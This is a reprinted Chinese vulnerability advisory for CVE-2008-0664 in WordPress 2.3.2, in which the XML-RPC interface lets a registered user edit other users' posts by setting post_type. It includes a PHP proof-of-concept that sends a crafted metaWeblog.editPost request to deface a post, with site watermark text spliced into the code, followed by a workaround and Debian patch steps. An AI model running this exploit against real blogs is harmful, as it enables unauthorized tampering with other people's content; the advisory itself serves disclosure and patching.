网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > Microsoft > Wordpress XML-RPC接口非授权操作漏洞  

Wordpress XML-RPC接口非授权操作漏洞

2008-07-09  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

发布日期:2008-02-07
更新日期:2008-07-07

网管下载dl.bitscn.com

受影响系统:
WordPress WordPress 2.3.2
不受影响系统:
WordPress WordPress 2.3.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 27669
CVE(CAN) ID: CVE-2008-0664
网管u家u.bitsCN.com

WordPress是一款免费的论坛Blog系统。 网管bitscn_com

如果启用了注册的话,WordPress的XML-RPC实现(xmlrpc.php)就无法对页面所设置的post_type执行检查,这允许远程攻击者向论坛提交恶意请求更改编辑其他用户的张贴。

网管论坛bbs_bitsCN_com

<*来源:Columcille
 
  链接:http://secunia.com/advisories/28823
        http://trac.wordpress.org/ticket/5313
        http://wordpress.org/development/2008/02/wordpress-233/
        https://bugzilla.redhat.com/long_list.cgi?buglist=431547
        http://www.village-idiot.org/archives/2008/02/02/wordpress-232-exploit-confirmed/
        http://www.debian.org/security/2008/dsa-1601
*>

中国网管论坛bbs.bitsCN.com

测试方法:
--------------------------------------------------------------------------------
网管联盟bitsCN_com

警 告 网管网www_bitscn_com

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

网管论坛bbs_bitsCN_com

<?php
/**
* POC : XMLRPC Hack
*
*/
$host = ''; // blog url
$page = '/xmlrpc.php';
$data = '<?xml version="1.0" ?>
        <methodcall>
                <methodname>metaWeblog.editPost</methodname>
                <params>
                        <value>
                                <i4>post_ID</i4>
                        </value> 网管下载dl.bitscn.com
                        <value>
                                <string>username</string>
                        </value>
                        <value>
                                <string>password</string>
                        </value>

网管网www_bitscn_com

                        <struct>
                                <member>
                                        <name>post_type</name>
                                        <value>page</value>
                                </member>

网管网www.bitscn.com


                                <member>
                                        <name>title</name>
                                        <value>
                                                <string>Pwnd</string> 中国网管联盟bitsCN.com
                                        </value>
                                </member>
                                <member>
                                        <name>description</name>
                                        <value>Whoo is ma biatch</value> 中国网管联盟bitsCN.com
                                </member>
                        </struct>
                </params>
        </methodcall>';
 
$exploited = fsockopen($host, 80, $errorNumber, $errorString);
$requestHeader = " ".$page."  HTTP/1.1\r\n";
$requestHeader.= "Host: ".$host."\r\n";
$requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n"; 网管联盟bitsCN_com
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
$requestHeader.= "Connection: close\r\n\r\n";
$requestHeader.= $data;
fwrite($exploited, $requestHeader );
 
echo 'done';
?>
网管网www.bitscn.com

建议:
--------------------------------------------------------------------------------
临时解决方法:
网管联盟bitsCN_com

* 禁止创建帐号,或临时删除xmlrpc.php文件。 网管下载dl.bitscn.com

厂商补丁:

网管u家u.bitsCN.com

Debian
------
Debian已经为此发布了一个安全公告(DSA-1601-1)以及相应补丁:
DSA-1601-1:New wordpress packages fix several vulnerabilities
链接:http://www.debian.org/security/2008/dsa-1601
中国网管论坛bbs.bitsCN.com

补丁下载:

网管联盟bitsCN_com

Source archives:

网管u家u.bitsCN.com

http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10.orig.tar.gz
Size/MD5 checksum:   520314 e9d5373b3c6413791f864d56b473dd54
http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.dsc
Size/MD5 checksum:      891 d925a63731976b72ad35e4c1805623bf
http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.diff.gz
Size/MD5 checksum:    46073 486916bd4fc6463181eaba84fdc2db31

中国网管论坛bbs.bitsCN.com

Architecture independent packages:

中国网管联盟bitsCN.com

http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3_all.deb
Size/MD5 checksum:   527158 280ba949f5c38079d2209a468697fb00
网管bitscn_com

补丁安装方法: 网管论坛bbs_bitsCN_com

1. 手工安装补丁包: 网管联盟bitsCN_com

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)
网管联盟bitsCN_com

  然后,使用下面的命令来安装补丁: 
  # dpkg -i file.deb (file是相应的补丁名)

网管下载dl.bitscn.com

2. 使用apt-get自动安装补丁包:

网管网www.bitscn.com

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

网管联盟bitsCN@com

WordPress

网管联盟bitsCN_com



TAGs   操作   漏洞   授权   接口       <   "   补丁   WordPress      
 上一篇:没有了   下一篇:Microsoft Access快照查看器ActiveX控件任意文件下载漏洞
Wordpress XML-RPC接口非授权操作漏洞 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: